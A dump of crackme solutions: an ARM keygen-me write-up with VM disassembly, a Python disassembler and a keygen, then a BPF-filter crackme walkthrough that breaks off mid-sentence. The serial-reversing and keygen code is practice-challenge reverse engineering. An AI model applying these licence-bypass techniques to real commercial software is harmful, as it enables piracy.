r0, r2, r3 876 | 877 | ; pointer to right operand in r3 878 | 879 | 0x00008ad8 ldr r1, [fp-registers_ptr_ptr] 880 | 0x00008adc ldrb r3, [fp-arg3] 881 | 0x00008ae0 lsl r2, r3, 2 882 | 0x00008ae4 ldr r3, [r1] 883 | 0x00008ae8 add r3, r2, r3 884 | 885 | ; load values and do the XOR 886 | 887 | 0x00008aec ldr r2, [r0] 888 | 0x00008af0 ldr r3, [r3] 889 | 0x00008af4 eor r3, r2, r3 890 | 891 | ; store result in dst 892 | 893 | 0x00008af8 str r3, [ip] 894 | 895 | [...] 896 | 897 | ### 3.1.11 NOP - do nothing 898 | 899 | But it increases the instruction pointer. 900 | 901 | Example: `nop` 902 | 903 | Code: 904 | 905 | ; load (unused) args and register pointer 906 | 907 | 0x00008c94 mov ip, sp 908 | 0x00008c98 push {fp, ip, lr, pc} 909 | 0x00008c9c sub fp, ip, 4 910 | 0x00008ca0 sub sp, sp, 8 911 | 0x00008ca4 str r3, [fp-local_5] 912 | 0x00008ca8 mov r3, r0 913 | 0x00008cac strb r3, [fp, -0xd] 914 | 0x00008cb0 mov r3, r1 915 | 0x00008cb4 strb r3, [fp, -0xe] 916 | 0x00008cb8 mov r3, r2 917 | 0x00008cbc strb r3, [fp, -0xf] 918 | 919 | ; increment instruction pointer by 4 and return 920 | 921 | 0x00008cc0 ldr r3, [fp-local_5] 922 | 0x00008cc4 mov r2, 0x7c 923 | 0x00008cc8 ldr r3, [r3] 924 | 0x00008ccc add r1, r2, r3 925 | 0x00008cd0 ldr r3, [fp-local_5] 926 | 0x00008cd4 mov r2, 0x7c 927 | 0x00008cd8 ldr r3, [r3] 928 | 0x00008cdc add r3, r2, r3 929 | 0x00008ce0 ldr r3, [r3] 930 | 0x00008ce4 add r3, r3, 4 931 | 0x00008ce8 str r3, [r1] 932 | 0x00008cec mov r0, 0xc 933 | 0x00008cf0 sub sp, fp, 0xc 934 | 0x00008cf4 ldm sp, {fp, sp, pc} 935 | 936 | 4. The virtual program 937 | ---------------------- 938 | 939 | I wrote a primitive disassembler, which is part of the solution ([disassembler.py](disassembler.py)). The commented disassembled source reveals the serial checking routine: 940 | 941 | 942 | ; init a couple of constants 943 | ; r6 = 0xc6ef3720 944 | ; r7 = 0x9e3779b9 945 | 946 | 0x00000000 lli r6, 0x3720 947 | 0x00000001 lli r7, 0x79b9 948 | 0x00000002 lui r6, 0xc6ef 949 | 0x00000003 lui r7, 0x9e37 950 | 951 | 952 | ; r9 = (serial[0] >> 5) + serial[5] 953 | 954 | 0x00000004 push r0 955 | 0x00000005 pop r9 956 | 0x00000006 shr r9, 0x05 957 | 0x00000007 add r9, r9, r5 958 | 959 | 960 | ; r10 = serial[0] + r6 961 | 962 | 0x00000008 add r10, r0, r6 963 | 964 | 965 | ; r11 = (serial[0] << 4) + serial[4] 966 | 967 | 0x00000009 push r0 968 | 0x0000000a pop r11 969 | 0x0000000b shl r11, 0x04 970 | 0x0000000c add r11, r11, r4 971 | 972 | 973 | ; r12 = r11 | r10 | r9 974 | 975 | 0x0000000d xor r12, r11, r10 976 | 0x0000000e xor r12, r12, r9 977 | 978 | 979 | ; serial[1] = serial[1] - r12 980 | 981 | 0x0000000f sub r1, r1, r12 982 | 983 | 984 | ; r9 = (serial[1] >> 5) + serial[3] 985 | 986 | 0x00000010 push r1 987 | 0x00000011 pop r9 988 | 0x00000012 shr r9, 0x05 989 | 0x00000013 add r9, r9, r3 990 | 991 | 992 | ; r10 = serial[1] + r6 993 | 994 | 0x00000014 add r10, r1, r6 995 | 996 | 997 | ; r11 = (serial[1] << 4) + serial[2] 998 | 999 | 0x00000015 push r1 1000 | 0x00000016 pop r11 1001 | 0x00000017 shl r11, 0x04 1002 | 0x00000018 add r11, r11, r2 1003 | 1004 | 1005 | ; r12 = r11 | r10 | r9 1006 | 1007 | 0x00000019 xor r12, r11, r10 1008 | 0x0000001a xor r12, r12, r9 1009 | 1010 | 1011 | ; serial[0] = serial[0] - r12 1012 | 1013 | 0x0000001b sub r0, r0, r12 1014 | 1015 | ; r14 = 1 1016 | 1017 | 0x0000001c lli r14, 0x0001 1018 | 0x0000001d lui r14, 0x0000 1019 | 1020 | ; r8 = r8 + r14 (r8 was set to 0 out of band) 1021 | 0x0000001e add r8, r8, r14 1022 | 1023 | ; if r8 != r13, go to 4 (r13 was set to 32 out of band) 1024 | 0x0000001f cmp r8, r13 1025 | 1026 | ; anyways r6 = r6 - r7 1027 | 1028 | 0x00000020 sub r6, r6, r7 1029 | 0x00000021 jne 0x00000004 1030 | 1031 | 1032 | ; check serial[0] and serial[1] to be equal to 1033 | ; another couple of constants 1034 | 1035 | ; r2 = 0xba01aafe 1036 | ; r3 = 0xbbff31a3 1037 | 1038 | 0x00000022 lli r2, 0xaafe 1039 | 0x00000023 lli r3, 0x31a3 1040 | 0x00000024 lui r2, 0xba01 1041 | 0x00000025 lui r3, 0xbbff 1042 | 1043 | ; r2 == serial[0] ? 1044 | 1045 | 0x00000026 cmp r2, r0 1046 | 0x00000027 jne 0x0000002a 1047 | 1048 | ; serial[0] passed, let's replace it with 1 1049 | 0x00000028 lli r0, 0x0001 1050 | 0x00000029 lui r0, 0x0000 1051 | 1052 | ; r3 == serial[1] ? 1053 | 1054 | 0x0000002a cmp r3, r1 1055 | 0x0000002b jne 0x0000002e 1056 | 1057 | ; serial[1] passed, replace with 1 1058 | 0x0000002c lli r1, 0x0001 1059 | 0x0000002d lui r1, 0x0000 1060 | 0x0000002e nop 1061 | 1062 | The out-of-band real-machine epilogue then checks r0 and r1 for equality with 1 to succeed the check. 1063 | 1064 | 5. The keygen 1065 | ------------- 1066 | 1067 | This algorythm is easily reversible, by starting from the last state (the one which is checked for validity) and proceding backwards to the beginning. The only constraints are on the first two numbers of the serial, while the rest can be chosen at random. This is the python code at the heart of my solution: 1068 | 1069 | ```python 1070 | def combine(seed, a,b,c): 1071 | r9 = ((a >> 5) + b) & 0xffffffff 1072 | r10 = (a + seed) & 0xffffffff 1073 | r11 = (((a << 4) & 0xffffffff)+ c) & 0xffffffff 1074 | return r11 ^ r10 ^ r9 1075 | 1076 | def keygen(): 1077 | serial = [0] * 6 1078 | 1079 | # start from the end 1080 | serial[0] = 0xba01aafe 1081 | serial[1] = 0xbbff31a3 1082 | 1083 | # all the rest can be random 1084 | serial[4] = random.randint(0, 0xffffffff) 1085 | serial[5] = random.randint(0, 0xffffffff) 1086 | serial[2] = random.randint(0, 0xffffffff) 1087 | serial[3] = random.randint(0, 0xffffffff) 1088 | 1089 | r6 = 0x9e3779b9 1090 | 1091 | for i in xrange(32): 1092 | r12 = combine(r6, serial[1], serial[3], serial[2]) 1093 | serial[0] = (serial[0] + r12) & 0xffffffff 1094 | 1095 | r12 = combine(r6, serial[0], serial[5], serial[4]) 1096 | serial[1] = (serial[1] + r12) & 0xffffffff 1097 | 1098 | r6 = (r6 + 0x9e3779b9) & 0xffffffff 1099 | 1100 | return serial 1101 | ``` 1102 | 1103 | The full keygen is included in the solution ([keygen.py](keygen.py)), and it creates 100 random valid keys. It can be tuned to generate any number of them. 1104 | 1105 | 1106 | 1107 | -------------------------------------------------------------------------------- /crackmes.de/arm_kgme1/disassembler.py: -------------------------------------------------------------------------------- 1 | 2 | """ 3 | output templates 4 | """ 5 | def output_const_32(const): 6 | return "0x%08x" % (const & 0xffffffff) 7 | 8 | def output_const_16(const): 9 | return "0x%04x" % (const & 0xffff) 10 | 11 | def output_const_8(const): 12 | return "0x%02x" % (const & 0xff) 13 | 14 | def output_separator(): 15 | return " " 16 | 17 | def output_mnemonic(mnemonic): 18 | return (mnemonic + (" " * (4-len(mnemonic)))).lower() 19 | 20 | def output_register(idx): 21 | return "r%d" % idx 22 | 23 | def output_comma(): 24 | return "," 25 | 26 | def output_3r(ip, mnemonic, r1, r2, r3): 27 | comps = [ 28 | output_separator(), 29 | output_const_32(ip), 30 | output_separator(), 31 | output_mnemonic(mnemonic), 32 | output_register(r1) + output_comma(), 33 | output_register(r2) + output_comma(), 34 | output_register(r3) 35 | ] 36 | return " ".join(comps) 37 | 38 | def output_2r(ip, mnemonic, r1, r2): 39 | comps = [ 40 | output_separator(), 41 | output_const_32(ip), 42 | output_separator(), 43 | output_mnemonic(mnemonic), 44 | output_register(r1) + output_comma(), 45 | output_register(r2) 46 | ] 47 | return " ".join(comps) 48 | 49 | def output_1r(ip, mnemonic, r1): 50 | comps = [ 51 | output_separator(), 52 | output_const_32(ip), 53 | output_separator(), 54 | output_mnemonic(mnemonic), 55 | output_register(r1) 56 | ] 57 | return " ".join(comps) 58 | 59 | def output_1r_imm16(ip, mnemonic, r1, imm16): 60 | comps = [ 61 | output_separator(), 62 | output_const_32(ip), 63 | output_separator(), 64 | output_mnemonic(mnemonic), 65 | output_register(r1) + output_comma(), 66 | output_const_16(imm16) 67 | ] 68 | return " ".join(comps) 69 | 70 | def output_1r_imm8(ip, mnemonic, r1, imm8): 71 | comps = [ 72 | output_separator(), 73 | output_const_32(ip), 74 | output_separator(), 75 | output_mnemonic(mnemonic), 76 | output_register(r1) + output_comma(), 77 | output_const_8(imm8) 78 | ] 79 | return " ".join(comps) 80 | 81 | def output_0r(ip, mnemonic): 82 | comps = [ 83 | output_separator(), 84 | output_const_32(ip), 85 | output_separator(), 86 | output_mnemonic(mnemonic) 87 | ] 88 | return " ".join(comps) 89 | 90 | def output_0r_imm32(ip, mnemonic, imm16): 91 | comps = [ 92 | output_separator(), 93 | output_const_32(ip), 94 | output_separator(), 95 | output_mnemonic(mnemonic), 96 | output_const_32(imm16) 97 | ] 98 | return " ".join(comps) 99 | 100 | def to_signed16(number): 101 | if (number >> 15) != 0: 102 | return number - 0x10000 103 | return number 104 | 105 | 106 | """ 107 | instruction set 108 | """ 109 | 110 | def i8494_replace_lower_16(ip, idx, lower8, higher8): 111 | return output_1r_imm16(ip, "lli", idx, (higher8<<8) | lower8 ) 112 | 113 | def i8544_replace_higher_16(ip, idx, higher8, lower8): 114 | return output_1r_imm16(ip, "lui", idx, (higher8<<8) | lower8) 115 | 116 | def i8be4_add_r1_r2_r3(ip, r1, r2, r3): 117 | return output_3r(ip, "add", r1, r2, r3) 118 | 119 | def i85f8_jmp_if_eq_neq(ip, arg1, arg2, arg3): 120 | negative = arg1 >> 7 121 | 122 | target = ip + to_signed16((arg2<<8) | arg3) 123 | 124 | if negative == 1: 125 | return output_0r_imm32(ip, "jne", target) 126 | else: 127 | return output_0r_imm32(ip, "je", target) 128 | # if arg1 is < 0 is jne else is je 129 | 130 | def i8750_cmp_r1_r2(ip, r1, r2, r3): 131 | return output_2r(ip, "cmp", r1, r2) 132 | 133 | def i8820_push_r1(ip, r1, r2, r3): 134 | return output_1r(ip, "push", r1) 135 | 136 | def i88e0_pop_r1(ip, r1, r2, r3): 137 | return output_1r(ip, "pop", r1) 138 | 139 | 140 | def i8b34_sub_r1_r2_r3(ip, r1, r2, r3): 141 | return output_3r(ip, "sub", r1, r2, r3) 142 | 143 | def i89a0_shift_r1_const8_lR(ip, r1, const8, direction): 144 | 145 | if direction == 1: 146 | return output_1r_imm8(ip, "shr", r1, const8) 147 | else: 148 | return output_1r_imm8(ip, "shl", r1, const8) 149 | 150 | 151 | def i8a84_xor_r1_r2_r3(ip, r1, r2, r3): 152 | return output_3r(ip, "xor", r1, r2, r3) 153 | 154 | def i0x8c94_nop(ip): 155 | return output_0r(ip, "nop") 156 | 157 | def print_disassembly(): 158 | 159 | """ 160 | this program is directly ripped from binary starting at vaddr 0x8f00 161 | all instructions are 32-bit wide 162 | """ 163 | program = [ 164 | 0x37200600, 165 | 0x79b90700, 166 | 0xefc60601, 167 | 0x379e0701, 168 | 0x01000005, 169 | 0x01010906, 170 | 0x01050908, 171 | 0x05090902, 172 | 0x06000a02, 173 | 0x01030005, 174 | 0x01010b06, 175 | 0x00040b08, 176 | 0x040b0b02, 177 | 0x0a0b0c09, 178 | 0x090c0c09, 179 | 0x0c010107, 180 | 0x09000105, 181 | 0x08080906, 182 | 0x01050908, 183 | 0x03090902, 184 | 0x06010a02, 185 | 0x04020105, 186 | 0x01010b06, 187 | 0x00040b08, 188 | 0x020b0b02, 189 | 0x0a0b0c09, 190 | 0x090c0c09, 191 | 0x0c000007, 192 | 0x00010e00, 193 | 0x00000e01, 194 | 0x0e080802, 195 | 0x010d0804, 196 | 0x07060607, 197 | 0xe3ff8103, 198 | 0xaafe0200, 199 | 0x31a30300, 200 | 0x01ba0201, 201 | 0xffbb0301, 202 | 0x00000204, 203 | 0x03008103, 204 | 0x00010000, 205 | 0x00000001, 206 | 0x01010304, 207 | 0x03008103, 208 | 0x00010100, 209 | 0x00000101, 210 | 211 | 0x01010263, 212 | 0x01010263, 213 | 0x01010263, 214 | 0x01010263 215 | ] 216 | 217 | 218 | jumptab = [ 219 | i8494_replace_lower_16, #0x8494, 220 | i8544_replace_higher_16, #0x8544, 221 | i8be4_add_r1_r2_r3, #0x8be4, 222 | i85f8_jmp_if_eq_neq, #0x85f8 223 | i8750_cmp_r1_r2, #0x8750, 224 | i8820_push_r1, #0x8820, 225 | i88e0_pop_r1, #0x88e0, 226 | i8b34_sub_r1_r2_r3, #0x8b34, 227 | i89a0_shift_r1_const8_lR, #0x89a0, 228 | i8a84_xor_r1_r2_r3, #0x8a84, 229 | 230 | i0x8c94_nop, #0x8c94, 231 | i0x8c94_nop, 232 | i0x8c94_nop 233 | ] 234 | 235 | for pc in xrange(len(program)): 236 | instruction = program[pc] 237 | 238 | # split instruction in bytes 239 | ibytes = [(instruction & (0xff << ib * 8)) >> (ib*8) for ib in xrange(4)] 240 | if ibytes[0] > len(jumptab): 241 | print i0x8c94_nop(pc) 242 | break 243 | 244 | # instruction set lookup 245 | jmp_addr = jumptab[ibytes[0]] 246 | 247 | # print disassembly for this instruction 248 | print jmp_addr(pc, ibytes[1], ibytes[2], ibytes[3]) 249 | 250 | 251 | if __name__ == "__main__": 252 | print_disassembly() -------------------------------------------------------------------------------- /crackmes.de/arm_kgme1/keygen.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def combine(seed, a,b,c): 4 | r9 = ((a >> 5) + b) & 0xffffffff 5 | r10 = (a + seed) & 0xffffffff 6 | r11 = (((a << 4) & 0xffffffff)+ c) & 0xffffffff 7 | return r11 ^ r10 ^ r9 8 | 9 | 10 | def validate(serial): 11 | r6 = 0xc6ef3720 12 | r7 = 0x9e3779b9 13 | 14 | for i in xrange(32): 15 | r12 = combine(r6, serial[0], serial[5], serial[4]) 16 | serial[1] = (serial[1] - r12) & 0xffffffff 17 | r12 = combine(r6, serial[1], serial[3], serial[2]) 18 | serial[0] = (serial[0] - r12) & 0xffffffff 19 | r6 = (r6 - r7) & 0xffffffff 20 | 21 | return serial[0] == 0xba01aafe and serial[1] == 0xbbff31a3 22 | 23 | 24 | def keygen(): 25 | """ 26 | this is the reverse of the above validate() 27 | """ 28 | 29 | serial = [0] * 6 30 | 31 | # start from the end 32 | serial[0] = 0xba01aafe 33 | serial[1] = 0xbbff31a3 34 | 35 | # all the rest can be random 36 | serial[4] = random.randint(0, 0xffffffff) 37 | serial[5] = random.randint(0, 0xffffffff) 38 | serial[2] = random.randint(0, 0xffffffff) 39 | serial[3] = random.randint(0, 0xffffffff) 40 | 41 | r6 = 0x9e3779b9 42 | 43 | for i in xrange(32): 44 | r12 = combine(r6, serial[1], serial[3], serial[2]) 45 | serial[0] = (serial[0] + r12) & 0xffffffff 46 | 47 | r12 = combine(r6, serial[0], serial[5], serial[4]) 48 | serial[1] = (serial[1] + r12) & 0xffffffff 49 | 50 | r6 = (r6 + 0x9e3779b9) & 0xffffffff 51 | 52 | return serial 53 | 54 | 55 | 56 | if __name__ == "__main__": 57 | 58 | # generate 100 random valid serials 59 | for i in xrange(100): 60 | s = keygen() 61 | print ",".join(["%x" % c for c in s]) 62 | 63 | -------------------------------------------------------------------------------- /crackmes.de/berkeley/README.md: -------------------------------------------------------------------------------- 1 | Kwisatz Haderach's berkeley - mrmacete's solution 2 | ================================================= 3 | 4 | Original challange is [here](http://crackmes.de/users/kwisatz_haderach/berkeley/). 5 | 6 | I know this challange has been already solved by the great @acru3l, but i wanted to do it my way. 7 | 8 | Identification 9 | -------------- 10 | 11 | # file berkeley 12 | berkeley: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=89742e827532233ed6374b94e205dff08580594e, stripped 13 | 14 | This is a 32 bit executable, i tested it successfully on my ubuntu bitch: 15 | 16 | # uname -a 17 | Linux pooper 3.19.0-25-generic #26-Ubuntu SMP Fri Jul 24 21:16:27 UTC 2015 i686 i686 i686 GNU/Linux 18 | 19 | 20 | Reconnaissance with r2 21 | ---------------------- 22 | 23 | I'll try to reduce this section to the bone, here's the relevant lines in main(): 24 | 25 | 0x08048648 mov dword [esp], 0x8049bc0 26 | 0x0804864f call fcn.080485ac 27 | 28 | Basically it calls a function passing a pointer to it. Let's see the core of the function: 29 | 30 | ; following block is equivalent to: 31 | ; sock = socket(AF_PACKET, SOCK_RAW, htons(3) ) 32 | 33 | 0x080485af sub esp, 0x38 34 | 0x080485b2 mov dword [esp], 3 35 | 0x080485b9 call sym.imp.htons 36 | 0x080485be movzx eax, ax 37 | 0x080485c1 mov dword [esp + 8], eax 38 | 0x080485c5 mov dword [esp + 4], 3 39 | 0x080485cd mov dword [esp], 0x11 40 | 0x080485d4 call sym.imp.socket 41 | 42 | ; following block is equivalent to: 43 | ; setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, arg_2, 8) 44 | 45 | 0x080485f5 mov dword [esp + 0x10], 8 46 | 0x080485fd mov eax, dword [ebp+arg_2] 47 | 0x08048600 mov dword [esp + 0xc], eax 48 | 0x08048604 mov dword [esp + 8], 0x1a 49 | 0x0804860c mov dword [esp + 4], 1 50 | 0x08048614 mov eax, dword [ebp-local_3] 51 | 0x08048617 mov dword [esp], eax 52 | 0x0804861a call sym.imp.setsockopt 53 | 54 | 55 | In order to find the proper values for constants in `socket()` call, after freaking out not finding them using google, i ended up using `grep` in `/usr/include`, like this: 56 | 57 | 1. where are the socket "domains" defined? 58 | 59 | mrmacete@pooper:/usr/include$ grep -r AF_INET * | grep "#define" 60 | i386-linux-gnu/bits/socket.h:#define AF_INET PF_INET 61 | 62 | 2. where are the socket "types" defined? 63 | 64 | mrmacete@pooper:/usr/include$ grep -r SOCK_STREAM * | grep "#define" 65 | i386-linux-gnu/bits/socket_type.h:#define SOCK_STREAM SOCK_STREAM 66 | 67 | 3. where are the socket "protocols" defined? No answer, in fact i accepted to content myself with `htons(3)` for now. 68 | 69 | Same procedure for constant names in the `setsockopt()` call: 70 | 71 | 1. where are "levels" defined? 72 | 73 | mrmacete@pooper:/usr/include$ grep -r SOL_SOCKET * | grep "#define" 74 | asm-generic/socket.h:#define SOL_SOCKET 1 75 | 76 | It turns out also "optnames" are defined in the same file, fortunately. 77 | 78 | Following the white rabbit 79 | -------------------------- 80 | 81 | Well, what the hell is `SO_ATTACH_FILTER` ? This time i asked it directly to google, and the answer was this really interesting thing: 82 | 83 | [https://www.kernel.org/doc/Documentation/networking/filter.txt](https://www.kernel.org/doc/Documentation/networking/filter.txt) 84 | 85 | Apparently it's there since 1993, it's a compiled language (called BPF) to build packet filters from userland, letting the kernel apply them to raw sockets, but it seems used also for some type general purpose computation. 86 | 87 | Here is how it is used in the crackme, in a nutshell: 88 | 89 | 1. Somewhere in the binary exist the filter array, i.e. the compiled filter code, expressed as an array of these structs: 90 | 91 | ```c 92 | struct sock_filter { /* Filter block */ 93 | __u16 code; /* Actual filter code */ 94 | __u8 jt; /* Jump true */ 95 | __u8 jf; /* Jump false */ 96 | __u32 k; /* Generic multiuse field */ 97 | }; 98 | ``` 99 | 100 | 2. using `setsockopt()`, this is bound to the socket of choice by passing a pointer to a struct of this type: 101 | 102 | ```c 103 | struct sock_fprog { /* Required for SO_ATTACH_FILTER. */ 104 | unsigned short len; /* Number of filter blocks */ 105 | struct sock_filter __user *filter; 106 | }; 107 | ``` 108 | Interestingly at some point at that paper there's this snippet, which is almost the same of what found inside the crackme binary: 109 | 110 | ```c 111 | sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 112 | if (sock < 0) 113 | /* ... bail out ... */ 114 | 115 | ret = setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &bpf, sizeof(bpf)); 116 | if (ret < 0) 117 | /* ... bail out ... */ 118 | ``` 119 | 120 | This means we have a name for that disturbing `htons(3)` above! 121 | 122 | In our case, the `sock_fprog` struct lives in the `arg_2`, at address `0x8049bc0`. Let's see it with r2: 123 | 124 | :> pxw 8 @ 0x8049bc0 125 | 0x08049bc0 0x00000030 0x08049a40 126 | 127 | So there are 48 `sock_filter` structs starting at `0x08049a40`, here they are: 128 | 129 | :> pxc 8*48 @ 0x08049a40 130 | - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 131 | 0x08049a40 2800 0000 0c00 0000 1500 002d 0008 0000 (..........-.... 132 | 0x08049a50 3000 0000 1700 0000 1500 002b 1100 0000 0..........+.... 133 | 0x08049a60 2000 0000 1a00 0000 1500 0029 0100 a8c0 ..........).... 134 | 0x08049a70 2800 0000 1400 0000 b100 0000 0e00 0000 (............... 135 | 0x08049a80 4800 0000 1000 0000 1500 0025 f787 0000 H..........%.... 136 | 0x08049a90 4800 0000 0e00 0000 1500 0023 c843 0000 H..........#.C.. 137 | 0x08049aa0 4800 0000 1200 0000 1500 0021 2800 0000 H..........!(... 138 | 0x08049ab0 4000 0000 1600 0000 0400 0000 1185 2415 @.............$. 139 | 0x08049ac0 1400 0000 46e7 5776 1500 001d 0000 0000 ....F.Wv........ 140 | 0x08049ad0 4000 0000 1a00 0000 0400 0000 4864 7512 @...........Hdu. 141 | 0x08049ae0 1400 0000 8095 ae73 1500 0019 0000 0000 .......s........ 142 | 0x08049af0 4000 0000 1e00 0000 0400 0000 1257 8843 @............W.C 143 | 0x08049b00 1400 0000 47bb ea77 1500 0015 0000 0000 ....G..w........ 144 | 0x08049b10 4000 0000 2200 0000 0400 0000 8264 1197 @..."........d.. 145 | 0x08049b20 1400 0000 b5ca 47d0 1500 0011 0000 0000 ......G......... 146 | 0x08049b30 4000 0000 2600 0000 0400 0000 4389 5571 @...&.......C.Uq 147 | 0x08049b40 1400 0000 a9be 88a2 1500 000d 0000 0000 ................ 148 | 0x08049b50 4000 0000 2a00 0000 0400 0000 5386 4421 @...*.......S.D! 149 | 0x08049b60 1400 0000 88ea 7d57 1500 0009 0000 0000 ......}W........ 150 | 0x08049b70 4000 0000 2e00 0000 0400 0000 2019 2300 @........... .#. 151 | 0x08049b80 1400 0000 8252 5634 1500 0005 0000 0000 .....RV4........ 152 | 0x08049b90 4000 0000 3200 0000 0400 0000 8695 3471 @...2.........4q 153 | 0x08049ba0 1400 0000 b7ca 66a1 1500 0001 0000 0000 ......f......... 154 | 0x08049bb0 0600 0000 ffff 0000 0600 0000 0000 0000 ................ 155 | 156 | Now let's carve them out in a binary file by its own: 157 | 158 | :> pr 8*48 @ 0x08049a40 > bpf.bin 159 | 160 | Disassembling BPF 161 | ----------------- 162 | 163 | In the above cited kernel's doc resource, there is also mention to the bpf_dbg tool which is capable of disassembling compiled filters, let's go get it in my ubuntu bitch: 164 | 165 | $ apt-get linux-source 166 | $ apt-get install binutils-dev libreadline-dev bison flex 167 | $ mkdir kernel 168 | $ tar xvf /usr/src/linux-source-3.19.0.tar.bz2 169 | $ cd linux-source-3.19.0/tools/net/ 170 | $ make 171 | $ sudo make install 172 | 173 | Now there's a shiny bpf_dbg executable, but first it is necessary to convert the binary dump to the funny comma separated integer tuple format, i made the [translate.py](translate.py) script to do exactly that: 174 | 175 | $ python translate.py bpf.bin 176 | 48,40 0 0 12,21 0 45 2048,48 0 0 23,21 0 43 17,32 0 0 26,21 0 41 3232235521,40 0 0 20,177 0 0 14,72 0 0 16,21 0 37 34807,72 0 0 14,21 0 35 17352,72 0 0 18,21 0 33 40,64 0 0 22,4 0 0 354714897,20 0 0 1985472326,21 0 29 0,64 0 0 26,4 0 0 309683272,20 0 0 1940821376,21 0 25 0,64 0 0 30,4 0 0 1133008658,20 0 0 2011872071,21 0 21 0,64 0 0 34,4 0 0 2534499458,20 0 0 3494365877,21 0 17 0,64 0 0 38,4 0 0 1901431107,20 0 0 2726870697,21 0 13 0,64 0 0 42,4 0 0 558138963,20 0 0 1467869832,21 0 9 0,64 0 0 46,4 0 0 2300192,20 0 0 878072450,21 0 5 0,64 0 0 50,4 0 0 1899271558,20 0 0 2707868343,21 0 1 0,6 0 0 65535,6 0 0 0 177 | 178 | Let's disassemble it: 179 | 180 | $ bpf_dbg 181 | > load bpf 48,40 0 0 12,21 0 45 2048,48 0 0 23,21 0 43 17,32 0 0 26,21 0 41 3232235521,40 0 0 20,177 0 0 14,72 0 0 16,21 0 37 34807,72 0 0 14,21 0 35 17352,72 0 0 18,21 0 33 40,64 0 0 22,4 0 0 354714897,20 0 0 1985472326,21 0 29 0,64 0 0 26,4 0 0 309683272,20 0 0 1940821376,21 0 25 0,64 0 0 30,4 0 0 1133008658,20 0 0 2011872071,21 0 21 0,64 0 0 34,4 0 0 2534499458,20 0 0 3494365877,21 0 17 0,64 0 0 38,4 0 0 1901431107,20 0 0 2726870697,21 0 13 0,64 0 0 42,4 0 0 558138963,20 0 0 1467869832,21 0 9 0,64 0 0 46,4 0 0 2300192,20 0 0 878072450,21 0 5 0,64 0 0 50,4 0 0 1899271558,20 0 0 2707868343,21 0 1 0,6 0 0 65535,6 0 0 0 182 | > disassemble 183 | 184 | Before commenting the disassembly, a bit of context: 185 | 186 | * all addresses are offsets inside the raw packet 187 | * ok but which packet? the root packet! here is assumed to be an [ETHERNET frame](https://en.wikipedia.org/wiki/Ethernet_frame) 188 | * the main functionality and structure of the language are described in the kernel doc above, while the examples are poorly commented 189 | * here is a resource with some commented examples, to let regular humans like me understand it (thanks ellzey!): [https://gist.github.com/ellzey/1111503](https://gist.github.com/ellzey/1111503) 190 | 191 | Ok, this is the commented disassembly of the packet filter code: 192 | 193 | ; load the ehtertype value out of the ethernet frame 194 | 195 | l0: ldh [12] 196 | 197 | ; it must be 0x800 to proceed, namely ipv4 198 | ; see here: https://en.wikipedia.org/wiki/EtherType#Examples 199 | 200 | l1: jeq #0x800, l2, l47 201 | 202 | ; get the ip.protocol field (https://en.wikipedia.org/wiki/IPv4#Header) 203 | ; yeah because 23 is 14 (the start of ip header in the ethernet frame) 204 | ; plus 9 205 | 206 | l2: ldb [23] ; ip[23-14] -> ip[9] ip.protocol field 207 | 208 | ; check if the protocol is UDP (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) 209 | 210 | l3: jeq #0x11, l4, l47 211 | 212 | ; get the ip source address 213 | 214 | l4: ld [26] ; ip[26-14] -> ip[12] ip source address 215 | 216 | ; source ip must be 192.168.0.1 (note, it's big endian) 217 | 218 | l5: jeq #0xc0a80001, l6, l47 219 | 220 | ; the following instruction is apparently useless 221 | 222 | l6: ldh [20] 223 | 224 | ; load the start of UDP header (relative to start of ip header) 225 | ; calculated as ip.IHL * 4 into X register 226 | 227 | l7: ldxb 4*([14]&0xf) 228 | 229 | ; get udp dest port at 14+x+2 (https://it.wikipedia.org/wiki/User_Datagram_Protocol) 230 | 231 | l8: ldh [x+16] 232 | 233 | ; dest port must be 34807 234 | 235 | l9: jeq #0x87f7, l10, l47 ; destination port should be equal to 34807 236 | 237 | ; get udp source port (14+x+0) 238 | 239 | l10: ldh [x+14] 240 | 241 | ; source port must be 17352 242 | 243 | l11: jeq #0x43c8, l12, l47 ; origin port should be 17352 244 | 245 | ; get udp length field 246 | 247 | l12: ldh [x+18] 248 | 249 | ; length must be 40 (head+payload) 250 | 251 | l13: jeq #0x28, l14, l47 ; length = 40 252 | 253 | ; payload constraints: the 32 bytes payload is checked 254 | ; with constraint of type payload[x] + Y - Z = 0 255 | ; therefore the payload value that passes the test 256 | ; must be payload[x] = Z - Y 257 | ; represented as unsigned 32 bits little endian 258 | 259 | l14: ld [x+22] 260 | l15: add #354714897 261 | l16: sub #1985472326 262 | l17: jeq #0, l18, l47 263 | l18: ld [x+26] 264 | l19: add #309683272 265 | l20: sub #1940821376 266 | l21: jeq #0, l22, l47 267 | l22: ld [x+30] 268 | l23: add #1133008658 269 | l24: sub #2011872071 270 | l25: jeq #0, l26, l47 271 | l26: ld [x+34] 272 | l27: add #-1760467838 273 | l28: sub #-800601419 274 | l29: jeq #0, l30, l47 275 | l30: ld [x+38] 276 | l31: add #1901431107 277 | l32: sub #-1568096599 278 | l33: jeq #0, l34, l47 279 | l34: ld [x+42] 280 | l35: add #558138963 281 | l36: sub #1467869832 282 | l37: jeq #0, l38, l47 283 | l38: ld [x+46] 284 | l39: add #2300192 285 | l40: sub #878072450 286 | l41: jeq #0, l42, l47 287 | l42: ld [x+50] 288 | l43: add #1899271558 289 | l44: sub #-1587098953 290 | l45: jeq #0, l46, l47 291 | 292 | ; reaching this means ACCEPT packet 293 | l46: ret #0xffff 294 | 295 | ; DROP the packet 296 | 297 | l47: ret #0 298 | 299 | Defeating the crackme using nping 300 | --------------------------------- 301 | 302 | Here is the python code to generate the payload string, using the constants derived as described above: 303 | 304 | import binascii 305 | 306 | with open("payload.txt", "w") as f: 307 | payload = binascii.unhexlify("%x%x%x%x%x%x%x%x" % (1630757429,1631138104,878863413,959866419,825439590,909730869,875772258,808596785)) 308 | f.write(payload) 309 | 310 | 311 | In order to try it out, let's spawn the binary in one terminal: 312 | 313 | # ./berkeley 314 | [+] Transmission channel inited! Waiting for connections ... 315 | 316 | 317 | then in another terminal let's use 